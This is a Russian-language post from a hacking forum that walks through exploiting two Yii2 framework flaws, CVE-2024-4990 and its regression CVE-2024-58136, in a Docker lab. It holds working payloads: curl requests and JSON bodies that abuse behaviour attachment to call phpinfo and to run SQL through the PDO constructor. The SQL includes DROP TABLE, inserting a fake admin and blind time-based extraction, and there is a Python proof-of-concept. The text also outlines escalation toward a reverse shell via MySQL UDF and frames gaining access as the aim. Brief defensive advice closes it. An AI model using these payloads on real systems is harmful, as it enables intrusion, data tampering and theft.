• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Атака на Yii2: CVE-2024-4990 и реинкарнация в CVE-2024-58136

Отслеживать
petrinh1988

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Автор petrinh1988
Источник https://xss.pro

Забавно, какие иногда случаются ошибки. Команда проекта Yii2, узнав про уязвимость CVE-2024-4990 быстро среагировала и поправила проблему. И… слегка поспешили и снова накосячили, упустив CVE-2024-58136. Но обо всем по порядку.

Yii это популярный фреймворк для быстрой разработки веб-приложений. Из данных, которые удалось найти, порядка 100-150 тысяч приложений сейчас работают на базе этого фреймворка. Популярность его хоть и снижается, но при этом, он не покидает ТОП-10. При этом, часто используется, если нужно сделать CRUD, админку или REST API. Что невероятно интересно с точки зрения тестирования и получения доступов.

Как вы уже поняли, мы рассмотрим две уязвимости: CVE-2024-4990 и CVE-2024-58136. Причем, одна уязвимость, является регрессией другой. Уязвимости комплексные и дают разные векторы атаки без аутентификации. Достаточно выполнить POST-запрос с правильным пейлоадом и получить результат. Понятное дело, уязвимости оцениваются критическими. Можно получить RCE, но для его развития придется искать варианты встраивания в цепочки гаджетов Можно использовать вектор SQL Injection, который оказался безумно интересным и мощным. Если изначально мне больше нравился вариант с RCE, покопавшись в SQLi поменял мнение…

В статье разберем, как работают эти уязвимости, отследим этапы через которые проходит пэйлоад. Поймем, что является главной причиной. Выполним разные варианты атак, чтобы оценить степень риска. Ну и разберем, как защититься от подобных проблем.

Суть уязвимости​

Все построено на поведении компонентов (behavior). Класс Behavior, это класс который определяет какое-то поведение объекта. Движок Yii позволяет подмешать поведение одного компонента (перехват событий, методы, свойства и т.п.) к поведению другого. Чем-то это похоже на наследование в ООП, когда мы расширяем класс, переопределяем методы и т.п.

Yii позволяет подмешивать поведение через “as class_name”. Это работает благодаря магическому методы __set базового компонента Component. Посмотрим исходники этого метода. Когда развернете тестовую машину, файл будет доступен по пути vendor/yiisoft/yii2/base/Component.php, строка 175 и далее.

PHP: 
public function __set($name, $value)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter)) {
            // set property
            $this->$setter($value);


            return;
        } elseif (strncmp($name, 'on ', 3) === 0) {
            // on event: attach event handler
            $this->on(trim(substr($name, 3)), $value);


            return;
        } elseif (strncmp($name, 'as ', 3) === 0) {
            // as behavior: attach behavior
            $name = trim(substr($name, 3));
            if ($value instanceof Behavior) {
                $this->attachBehavior($name, $value);
            } elseif (isset($value['class']) && is_subclass_of($value['class'], Behavior::class, true)) {
                $this->attachBehavior($name, Yii::createObject($value));
            } elseif (is_string($value) && is_subclass_of($value, Behavior::class, true)) {
                $this->attachBehavior($name, Yii::createObject($value));
            } else {
                throw new InvalidConfigException('Class is not of type ' . Behavior::class . ' or its subclasses');
            }


            return;
        }


        // behavior property
        $this->ensureBehaviors();
        foreach ($this->_behaviors as $behavior) {
            if ($behavior->canSetProperty($name)) {
                $behavior->$name = $value;
                return;
            }
        }


        if (method_exists($this, 'get' . $name)) {
            throw new InvalidCallException('Setting read-only property: ' . get_class($this) . '::' . $name);
        }


        throw new UnknownPropertyException('Setting unknown property: ' . get_class($this) . '::' . $name);
    }

Мы видим, что при наличии в названии компонента “as”, сеттер смотрит на значение переменной $value. Если значение не является объектом класса Behavior, сеттер ищет вариант добавить поведение через attachBehavior, буквально передавая ему объект созданный на лету на основании значения $value. Для атакующего, это становится интересным, когда веб-приложение имеет баг с неконтролируемой передачей свойств из запроса.

Фреймворк принимает JSON-пакет с ключом class или __class, создаёт объект указанного класса без должной проверки и привязывает его как поведение к компоненту. Это позволяет атакующему создать любой объект PHP и вызвать его конструктор или сеттеры, что может привести к выполнению произвольного кода на сервере. Например, через популярный HTTP-клиент GuzzleHttp. В proof-of-concept уязвимости часто используется такой пример пэйлоада, отправляемого через POST-запрос:

JSON: 
{
    "as hack": {
        "__class":"GuzzleHttp\\Psr7\\FnStream",
        "__construct()": [[]],
        "_fn_close": "phpinfo"
    }
}

Guzzle - это PHP библиотека реализующая удобный HTTP-клиент, который использует интерфейсы PSR-7 для запросов, ответов и потоков. FnStream, это вспомогательный класс Guzzle, который позволяет подменить обработчик события. Происходит это следующим образом:
  1. Для каждого ключа массива $methods в __construct() (read, write, close и т. д.) в объекте появляется свойство $this->fnимя. Например, для close будет создан $this->_fn_close.
  2. Через _fn_close передается коллбэк, который будет выполнять функция при закрытии
  3. Чтобы все сработало, в конструкт нужно передать валидный массив методов. Пустой массив массивов [[]] считается вполне валидным.
  4. Когда поток закрывается (fclose() или когда объект уничтожается), вызывается $this->_fn_close() и выполняется подмененный коллбэк.

Соберем лабу и протестим​

Возможно я старомоден, но не понимаю, как можно рассматривать уязвимость без машины для тестирования. Лично у меня, большая часть времени уходит именно на сборку машин для PoC.

Будем использовать шаблонное решение предлагаемое самим Yii2. Единственное, везде где только можно будем указывать, что нас интересует версия 2.0.49. Это максимальная уязвимая версия к 4990.

Bash: 
git clone --branch 2.0.49 https://github.com/yiisoft/yii2-app-basic.git yii2-cve-4990

Идем в composer.json и меняем блок require. Обязательно нужно убрать тильду с версии Yii2 и указать конкретную, которая нам нужна:
JSON: 
"require": {
       "php": ">=7.4.0",
       "yiisoft/yii2": "2.0.49",
       "yiisoft/yii2-bootstrap5": "~2.0.2",
       "yiisoft/yii2-symfonymailer": "~2.0.3",
       "guzzlehttp/psr7": "^2.0"
   },

Нам нужно заменить версию yii2, а также добавить guzzlehttp

Убедитесь, что в блоке “repositories” указан композер:

JSON: 
"repositories": [
       {
           "type": "composer",
           "url": "https://asset-packagist.org"
       }
   ]

Так же, не мешает проверить свойство config, чтобы в нем была включена поддержка композера:

JSON: 
"config": {
       "allow-plugins": {
           "yiisoft/yii2-composer" : true
       },
       "process-timeout": 1800,
       "fxp-asset": {
           "enabled": false
       }
   },

Далее идем в config/web.php. Нас интересует блок reques в components:

PHP: 
'components' => [
       'request' => [
           'cookieValidationKey' => 'pxDLBI0dG5X8sfJ03CeO2gm_OD7XQbTj',
           'parsers' => [
               'application/json' => 'yii\web\JsonParser',
           ],
       ],

Изначально, 'cookieValidationKey' будет равен пустой строке. После первого запуска появится секретный ключ. Хотя не всегда. Возможно я запутался в версиях, так как установок этих сделал немеряно, но иногда ключ генерировался сам, иногда Yii2 требовал указать ручками.

Не забываем прописать коннект к базе данных. База нам понадобиться для тестирования одного из векторов атаки:

PHP: 
<?php

return [
   'class' => 'yii\db\Connection',
   'dsn' => 'mysql:host=db;dbname=yii2db',
   'username' => 'yii2user',
   'password' => 'yii2pass',
   'charset' => 'utf8mb4',
];

Важно в парсерах подключить JsonParse, иначе магии не случится.

Тот файл docker-compose.yml, который лежит изначально в проекте, не самый подходящий. :Вторая версия докера, отсутствие базы и т.п. Кроме того, у меня возникли проблемы с правами. В итоге, после долгих сражений с багами, получился такой конфиг, который прекрасно собирает нужные контейнеры, на любой системе:

YAML: 
version: '3.8'

services:
  php:
    image: yiisoftware/yii2-php:8.1-apache
    volumes:
      - ~/.composer-docker/cache:/root/.composer/cache:delegated
      - ./:/app:delegated
      - assets_data:/app/web/assets
      - runtime_data:/app/runtime
    ports:
      - '8001:80'
    depends_on:
      - db
    environment:
      - DB_HOST=db
      - DB_NAME=yii2db
      - DB_USER=yii2user
      - DB_PASSWORD=yii2pass
    command: >
      sh -c "chown -R www-data:www-data /app/web/assets /app/runtime && apache2-foreground"


  db:
    image: mysql:8.0
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: yii2db
      MYSQL_USER: yii2user
      MYSQL_PASSWORD: yii2pass
    ports:
      - '3307:3306'
    volumes:
      - db_data:/var/lib/mysql


volumes:
  assets_data:
  runtime_data:
  db_data:


Запускаем Docker:

Bash: 
docker-compose up --build

Проект почти готов. Открываем шелл контейнера с самим приложением и устанавливаем все необходимое через композер:

Bash: 
docker exec -it yii2-cve-4990-php-1 bash

1750767815759.png


Bash: 
composer install
composer require guzzlehttp/psr7:^2.0
composer require --dev yiisoft/yii2-debug
composer require --dev yiisoft/yii2-gii

Если встанет не та версия, можно установку выполнять с указанием версий:

Bash: 
composer require yiisoft/yii2:2.0.49
composer require guzzlehttp/psr7:^2.0
composer require --dev yiisoft/yii2-debug:2.1.22
composer require --dev yiisoft/yii2-gii:2.2.4

Проверить версию можно по логу установки или в файле composer.lock

1750767856665.png


1750767881706.png


В результате, на локалхосте нам доступен проект:

1750767896267.png


На всякий случай, в контейнере можно проверить, что база данных работает.

Bash: 
php yii migrate

1750767922133.png


Вы должны увидеть что-то вроде этого. Если нет, убедитесь, что все настройки правильно перенесли, что везде указаны одинаковые данные, что хост базы данных “db”, а не локалхост или 127… еще вариант, отключить VPN, если включен.

Отлично. Приложение запускается, теперь добавим в него уязвимый контроллер (отсюда). Обратите внимание, что контроллер, в сущности, не имеет каких-то явных и преднамеренных уязвимостей вроде “system” или “shell_exec”. Но и безопасным класс не назовешь. Для облегчения атаки, beforeAction отключает механизм CSRF. В свою очередь, уязвимое действие напрямую пробрасывает параметры из POST-запроса в новый компонент. При этом, прямой проброс параметров вполне себе встречающийся вариант, например, при обработке форм или ендпоинтов REST API.

Достатчно разместить в папку компонентов и Yii2, при следующем запуске сам подхватит компонент.

Для теста возьмем пейлоад оттуда же, откуда взяли контроллер:

Bash: 
curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

Обратите внимание, что в отношении Yii2 версии 2.0.49 можно использовать, как “class”, так и “__class”. Поведение будет идентичным.

После выполнения POST-запроса, откроем info.html:

1750767967621.png


Но самое интересное ниже этой ошибки:

1750767983178.png


Чтобы было понятно, что именно произошло, я собрал небольшую диаграмму, на которой обозначил все этапы, которые происходят в Yii2 когда мы отправляем запрос с пэйлоадом:

1750767994974.png


Значит мы получили удаленное выполнение кода. К сожалению, назвать его полноценным не получится. Эксплуатация этой уязвимости отдельное искусство. Нужно выстроить цепочку гаджетов, которая в один или несколько этапов поможет выстроить атаку.

Что за цепочка гаджетов?​


Термин «гаджет» относится к информационной безопасности, а не конкретно к Yii2. Гаджеты — это методы или цепочка вызовов методов класса, которая становится опасной при десериализации данных из недостоверного источника. Такими методами могут стать, например, unserialize(). Или, как в случае наших CVE, это может быть магический метод __set().

Цель злоумышленника, подобрать уязвимые классы к которым можно достучаться извне. Например, один класс может сохранить данные в файл для того, чтобы при следующем запросе другой класс уже использовал эти данные для выполнения кода.

Чем плох гаджет, при помощи которого мы подтвердили уязвимость? Используя _fn_close, мы переписываем коллбэк для FnStream, который выполнится в __destruct, При этом, отсутствует возможность передать параметры. Без передачи параметров, у мы не можем выполнить функцию по типу system() и организовать себе реверс-шелл.

PHP: 
// vendor/guzzlehttp/psr7/src/FnStream.php
    public function __destruct()
    {
        if (isset($this->_fn_close)) {
            ($this->_fn_close)();
        }
    }

Из кода видно, что как бы мы не хотели, чтобы мы не делали, передать параметры через Guzzle не выйдет. Он их просто не будет выполнять. Единственное, что мы можем, это выполнить произвольную функцию, которая находится в области видимости.

Как искать валидные цепочки гаджетов? Можно попробовать покопаться в существующих наработках пентестера. Например, в PHPGGC: PHP Generic Gadget Chains. Проблема только в том, что большинство цепочек будет довольно старенькая. Для Yii2, есть цепочка актуальная для версий младше 2.0.38. Можно попробовать погуглить чем-то вроде "site:github.com Yii2 gadget chain".

Другой вариант, это искать цепочки самому. Можно взять список пакетов и пройтись по ним, анализируя магические методы, __destruct, __wakeup, __toString и т.п. В первую очередь, нас интересует наличие вызова пользовательской функции, как в FnStream, желательно с аргументами. Возможность записи в файл тоже может быть очень полезной и т.д. и т.п. Думаю все понимают, что имеет смысл искать.

Выходит, что уязвимость с FnStream бесполезна? Нет. Например, она может быть полезной в отношении второго вектора атаки CVE-2024-4990. Если данные для подключения хранятся в environment, мы получим так необходимые для инъекции данные.

SQL Injection через CVE-2024-4990​

Как и говорил выше, RCE не единственная возможность, которую нам дает эта уязвимость. Есть возможность также просто достучаться до базы данных. Но в этом случае, стучаться нужно не через GuzzleHttp, а через PDO.

Основная проблема в том, что нам нужны данные для подключения к серверу базы данных. Как говорил выше, нам может повезти и данные окажутся в переменных окружения, а значит через phpinfo мы их увидим. Для теста внесем изменения в наш проект. Нужно изменить файл с настройками базы данных:

PHP: 
<?php

return [
    'class' => 'yii\db\Connection',
    'dsn' => 'mysql:host=' . getenv('DB_HOST') . ';dbname=' . getenv('DB_NAME') ,
    'username' => getenv('DB_USER'),
    'password' => getenv('DB_PASSWORD'),
    'charset' => 'utf8mb4',
];


Повторно выполним атаку из предыдущего блока, чтобы обновить результат phpinfo:

1750768122354.png


Как видно на скриншоте, данные мы получили. Значит, мы можем выполнить атаку на базу. Как основу возьмем PoC с того же github, где брали предыдущий:

Bash: 
curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=db;dbname=yii2db", "yii2user", "yii2pass", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Запускать нет смысла, так как мы не создавали базу данных test. Давайте поступим слегка по другому — создадим новую таблицу в базе данных. Сначала посмотрим, что вообще лежит в уже установленной базе. Для этого подключусь к докер-контейнеру с базой данных и запущу mysql с нашими кредсами:

1750768243620.png


Когда мы проверяли, работает ли база, создалась таблица с миграциями. Её и видим. Модифицируем запрос, передав такой пэйлоад. Обращаю внимание, что используем все тот же уязвимый компонент, который был в прошлом векторе атаки:

JSON: 
{
    "as hack": {
        "__class": "\\PDO",
        "__construct()": [
            "mysql:host=db;dbname=yii2db",
            "yii2user",
            "yii2pass",
            {
                "1002": "CREATE TABLE IF NOT EXISTS test (id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(255), pass VARCHAR(255))"
            }
        ]
    }
}

В результате, мы должны получить новую таблицу "test". Отправляем, проверяем и радуемся:

1750768324021.png


Таблица добавилась, а это значит, что мы можем спокойно манипулировать базой данных, просто отправляя POST-запросы. Значит, мы можем попытаться добавить данные в таблицу или изменить их. Например, добавить нового админа в таблицу пользователей или повысить свои привилегии:

JSON: 
{
    "as hack": {
        "__class": "\\PDO",
        "__construct()": [
            "mysql:host=db;dbname=yii2db",
            "yii2user",
            "yii2pass",
            {
                "1002": "INSERT INTO test (name, pass) VALUES ('new_admin','pass123')"
            }
        ]
    }
}

1750768348467.png


Данные добавились в базу, соответственно, с UPDATE тоже не возникнет проблем.Если нам повезло, мы можем и понимаем как управлять базой, веб-приложение полностью в наших руках.

Открытым остается вопрос, как же получить данные? На ум приходит несколько вариантов: от поиска цепочки гаджетов, которая позволит как-то вывести данные, до DNS-эксфильтрации. Самый простой, но медленный способ, это Blind Time-Based

JSON: 
{
    "as hack": {
        "__class": "\\PDO",
        "__construct()": [
            "mysql:host=db;dbname=yii2db",
            "yii2user",
            "yii2pass",
            {
                "1002": "SELECT IF(LEFT(name,1)='n', SLEEP(25), 0) FROM test LIMIT 1;"
            }
        ]
    }
}

Работает медленно, но на 100% надежно. Можно запихать запрос в sqlmap и спокойно тащить базу. Вернее, таблицы в которых мы можем сделать себя админом

1750768375167.png


Можно ли попытаться создать RCE, используя этот тип инъекций? Теоретически да, через UFD. Но нам потребуются гораздо более серьезные права, чем есть у обычного пользователя базы данных. Потребуется выяснить директорию плагинов. Загрузить в нее .so библиотеку с udf для MySQL. На этом этапе уже потребуются привилегии позволяющие это сделать. Далее создать функцию, которая будет выполнять системные вызовы. После чего, можно будет создать тот же реверс шелл.

Демонстрировать подобное, используя докер-контейнер не самая благодарная затея.Тем более, что контейнер с базой у нас находится в изоляции от основного веб-приложения. Кстати, этот неприятный момент может выскочить и в реальной практике.

Чтобы не осталось вопросов, как выглядит атака под капотом:

1750768390882.png


Не закрытым остается вопрос, что такое “1002” во вредоносном JSON. Это ничто иное, как PDO Attribute. Если быть точнее, то PDO::ATTR_STATEMENT_CLASS.

PDO::ATTR_STATEMENT_CLASS определяет имя класса для создания PDOStatement. В случае с уязвимым Yii2, используется для передачи массива в конструктор, который может содержать опасную полезную нагрузку, позволяющий выполнить SQL прямо в момент создания класса. Другие варианты PDO Attribute можно посмотреть здесь

Что такое CVE-2024-58136?​

Безумно забавная история. Когда стало известно о CVE-2024-4990, команда Yii2 быстренько залатала уязвимость. Но в процессе выпуска очередной версии, упустили момент с __class. Фикс class сохранился, а аналогичный для __class нет. Критическая уязвимость получила реинкарнацию и снова стала доступна, как CVE-2024-58136. Если не ошибаюсь в датах, первая уязвимость была пофикшена 10 июня 2024г, а вторая прожила аж до февраля 2025 года.

Уязвимость актуальная для версий Yii 2.0.50 и 2.0.51.

Эксплуатация та же самая, но нельзя использовать “class”. Зачем привел? Это отличный пример того, что даже пофикшенные уязвимости стоит перепроверять снова и снова. Разработчики тоже люди, а значит могут забывать, упускать, снова наступать на старые грабли и т.д.

Что скажут сканеры?​

Ради интереса, решил закинуть приложение на скан Acunetix и Burp Suite.Посмотреть, насколько они осведомлены о подобных атаках и смогут ли найти. Чтобы им было проще, добавил ссылку на уязвимый компонент на главную страницу приложения. Для сканов так же указал эту ссылку:

Код: 
http://localhost:8001/index.php?r=exploitable%2Fvulnerable

Скан окунем, на стороне приложения, выглядит довольно залипательно… Без ускорений или замедлений. Невероятное количество запросов))) Есть повод задуматься, насколько скрытно подобное сканирование)))

Recording 2025-06-24 154937.gif


Результат полного сканирования окунем показал, что у приложения нет серьезных проблем:

1750768641127.png


Результаты Burp выглядят так:

1750768667540.png


Он тоже не видит наших CVE. Можно, конечно, написать модуль который будет находить именно эту уязвимость, как для Burp Suite, так и для Acunetix. Как писать подобные модули я уже публиковал статьи на xss.pro. Если кому интересно, можете заморочиться. Основой для этого может быть простой PoC написанный на Python:

Python: 
import requests
import json

url = "http://localhost:8001/index.php?r=exploitable%2Fvulnerable"

payload = {
    "as hack": {
        "__class": "GuzzleHttp\\Psr7\\FnStream",
        "__construct()": [[]],
        "_fn_close": "phpinfo"
    }
}

resp = requests.post(url, data=json.dumps(payload), headers={"Content-Type": "application/json"})

if b"PHP Version" in resp.content:
    print("[+] Уязвимость подтверждена: phpinfo() успешно вызвана.")
else:
    print("[-] Уязвимость не обнаружена.")

Все это уже использовали. Делаем запрос, если в ответе есть информация из phpinfo, значит уязвимость подтверждена:
1750768708854.png


Защита вашего веб-приложения​

Если вспомнить самое начало статьи, становится понятно, что главная проблема не в рассмотренных CVE и векторах атаки. Да, они создают серьезные угрозы. Но ключевое, все же, это уязвимый компонент, который мы создали для тестов. Хоть в нем и нет принципиальных закладок, вроде функций выполняющих системные команды, компонент безоговорочно доверяет данным присланным пользователем. Первое, что нужно сделать, это исключить любое доверие данным, особенно поставляемым пользователем. Как показывает практика, данные получаемые из собственной же базы данных, тоже должны подвергаться серьезной проверке. Но это уже более изощренный уровень атаки.

Изолируйте разные части приложения. По возможности размещайте на разных серверах. Как видно из статьи, база находящаяся на другом сервере сильно ограничила наши возможности в плане атаки. Даже если бы мы дожали историю с UFD, в плане захвата сервера с приложением, это имело бы мало смысла. Как минимум, мы не смогли бы добавить в приложение вредоносный код.

Следующим шагом, важно сказать о постоянном мониторинге появляющихся CVE. Анализируйте, какие уязвимости находят пентестеры. Это касается, как самих фреймворков, так и используемых ими частей. Не сложно составить один раз список используемых пакетов и их версий, по которому периодически выполнять поиск. На сегодняшний день, это тем более легко, так как можно попросить сделать всю работу нейронные сети. Потратить пару долларов в месяц, а то и год, на платный аккаунт ради безопасности приложения, это мелочи.

Важно учитывать опыт, который нам показывает команда разработчиков Yii. К сожалению, для кого-то к счастью, какой бы мощной и серьезной ни была команда разработки, все мы люди. Люди, которые склонны допускать ошибки, забывать и т.д. Старайтесь писать код понятно, без “понтов” в виде сложных и излишне запутанных конструкций. Комментируйте каждый участок кода. То, что вы сегодня хорошо понимаете, завтра забудете и придется по крупицам восстанавливать информацию Что уж говорить про период в месяц, год или больше. Чем крупнее проект, тем больше в нем темных мест, которые годами никто не видел.

Проверяйте и перепроверяйте, все ли вы учли. Помните, что вторая уязвимость реинкарнировалась благодаря тому, что забыли про __class.

Ну и топовый уровень - это анализ кода, как это делают хакеры и пентестеры. Не стесняйтесь проанализировать используемые пакеты, проверить их магические методы, посмотреть где вызываются коллбэки. Особенно те, которые может подменить пользователь.

Итоги и выводы​

Мы разобрали две (одну) довольно интересные уязвимости, которые позволяют критически влиять на веб-приложение. Разобрали как происходит их взаимодействие. Даже схемки нарисовал, чтобы не осталось никаких вопросов. И все же, главный вывод для меня — нужно внимательнее присматриваться к уязвимости. Когда только начинал писать статью, меня больше интересовало RCE получаемое через цепочку гаджетов. Но плотная работа с параллельным вектором, в виде SQL Injection, мне показалась в разы интереснее. Да, можно найти цепочку гаджетов и получить на длинной дистанции преимущество (если раньше не найдут другие и не опубликуют), но чтобы оперативно проломить оборону, SQLi гораздо интереснее.

Второй вывод в том, что нельзя отказываться от CVE, если существует патч. Как мы видим, патчи бывают неполными. Бывает, что при выходе новых версий патчи отваливаются. Понятно, что не будешь каждый раз присматриваться. Так можно и состариться, работая только с одним таргетом. Но и пренебрегать этим не стоит. Тут, кстати, большой плюс у автоматизированных систем тестирования. Им наплевать, был ли выпущен патч или нет. Конечно же, если они умеют определять нужную уязвимость

Надеюсь вам понравилось.
 

Вложения

  • sources.zip
    6 КБ · Просмотры: 26
Последнее редактирование:
Dread Pirate Roberts сказал(а):
Посмотреть вложение 108571




:rolleyes:
Да, все верно, искал информацию при помощи дурной машинки. Надеялся, что он что-то дельное найдет.

А вот в отношении Gazzle, не совсем понял? В коде верно все, а в тексте позволяю себе вольности.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
petrinh1988 сказал(а):
Да, все верно, искал информацию при помощи дурной машинки. Надеялся, что он что-то дельное найдет.

А вот в отношении Gazzle, не совсем понял? В коде верно все, а в тексте позволяю себе вольности.
Да просто уже пора признать что без гпт было бы сложнее куда все делать, я в гпт все кормплю чтоб создавал мне команды оформлял делал и все в таком роде, нафиг поисковик когда есть аишка
 
koneko сказал(а):
Да просто уже пора признать что без гпт было бы сложнее куда все делать, я в гпт все кормплю чтоб создавал мне команды оформлял делал и все в таком роде, нафиг поисковик когда есть аишка
От части согласен. Кроме некоторых моментов...

1. Я неоднократно натыкался на ситуацию, когда уточняя вопросы по одной теме, эта скотина переключается на другую. Я не помню с какой конкретно уязвимостью парился, чет не доходило до меня, пытал его уточняющими вопросами. В итоге, он в какой-то момент мне пишет, что сайт обязательно должен быть на Китайском. Выяснилось, что в какой-то момент, его тупо переклинило и он со мной совершенно про другое начал говорить.
2. Очень часто, ты просишь его что-то подготовить. Запускаешь и все вылетает на ошибку. Ты закидываешь ему ошибку. Он выдает правки. Запускаешь, получаешь ошибку. И т.д. В какой-то момент его зацикливает и он начинает ходить по кругу. Спустя гору потраченного времени, сидишь и сам руками все собираешь.
3. Очень бесит долго отлаживать что-то с ним, а под конец он забывает о чем речь. Сидишь и понимаешь, что объяснять заново ты будешь не один час и проще самому разобраться.

Короче, те моменты, где он сэкономил время, компенсируется с лихвой теми моментами, когда он сожрал время. Но для поиска инфы бывает очень даже незаменим. Особенно при первичном проходе.

P.S. А, и еще один момент. Возможно самый важный. Он делает людей тупее.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Суть то в реферере... а не в ChatGPT. Ссылки надо подчищать!
 
weaver сказал(а):
Суть то в реферере... а не в ChatGPT. Ссылки надо подчищать!
Не обратил внимание на метку. Убрал сразу, как коммент появился. Теперь метка есть только в цитате
 
petrinh1988 сказал(а):
Да, все верно, искал информацию при помощи дурной машинки. Надеялся, что он что-то дельное найдет.

А вот в отношении Gazzle, не совсем понял? В коде верно все, а в тексте позволяю себе вольности.
Имелось ввиду наверное Guzzle, вместо Gazzle 🥲
Спасибо! Прочитал с удовольствием!
 
s4ridzawa_ сказал(а):
Имелось ввиду наверное Guzzle, вместо Gazzle 🥲
Спасибо! Прочитал с удовольствием!
Спасибо за оценку! Наверное))) У меня по русскому-то тройко было, а англицкий так вообще... Где-то на подкорке фиксанулось, как слышу так и пишу))) Пойду поправлю)
UPD: Вот, теперь красиво.. Голова занята была, не дошло сразу)
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх